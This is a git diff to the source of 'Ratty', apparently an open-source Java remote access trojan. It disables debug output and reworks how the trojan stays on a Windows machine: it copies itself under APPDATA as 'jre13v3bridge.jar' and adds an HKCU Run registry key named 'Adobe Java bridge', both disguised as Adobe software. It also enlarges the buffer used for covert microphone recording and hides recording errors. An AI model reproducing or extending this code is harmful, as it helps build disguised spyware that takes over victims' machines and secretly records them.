diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index b6b7de3..7f3f11d 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -26,7 +26,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; */ public final class Ratty { - public static final boolean DEBUG = true; + public static final boolean DEBUG = false; public static final String VERSION = "1.7"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); @@ -36,11 +36,8 @@ public final class Ratty { private static final int CONNECTION_INTERVAL = 2500; private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; - private static final String STARTUP_FOLDER_NAME = "Adobe" + File.separator + "AIR"; - private static final String STARTUP_FILE_NAME = "jre13v3bridge.jar"; - private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + STARTUP_FOLDER_NAME + File.separator + STARTUP_FILE_NAME; - private static final String STARTUP_COMMAND = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java.exe"; - private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_COMMAND + " " + STARTUP_FILE_PATH + "\""; + private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar"; + private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; private static final String NO_GUI_COMMAND = "NOGUI"; private static final String PORT_INPUT_QUESTION = LANGUAGE.getString("server.port_question"); diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 2a6b517..b35422c 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -8,7 +8,7 @@ public final class Trojan implements IConnectionObserver { private VoiceRecorder voiceRecorder; - private static final int VOICE_BUFFER_SIZE = 1024 << 3; + private static final int VOICE_BUFFER_SIZE = 1024 << 6; public Trojan() { voiceRecorder = new VoiceRecorder(VOICE_BUFFER_SIZE); diff --git a/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java index ce943b4..97eb854 100644 --- a/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java +++ b/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java @@ -36,7 +36,8 @@ public final class VoiceRecorder { line.start(); thread.start(); } catch (final LineUnavailableException ex) { - ex.printStackTrace(); + running = false; + data = new byte[0]; } }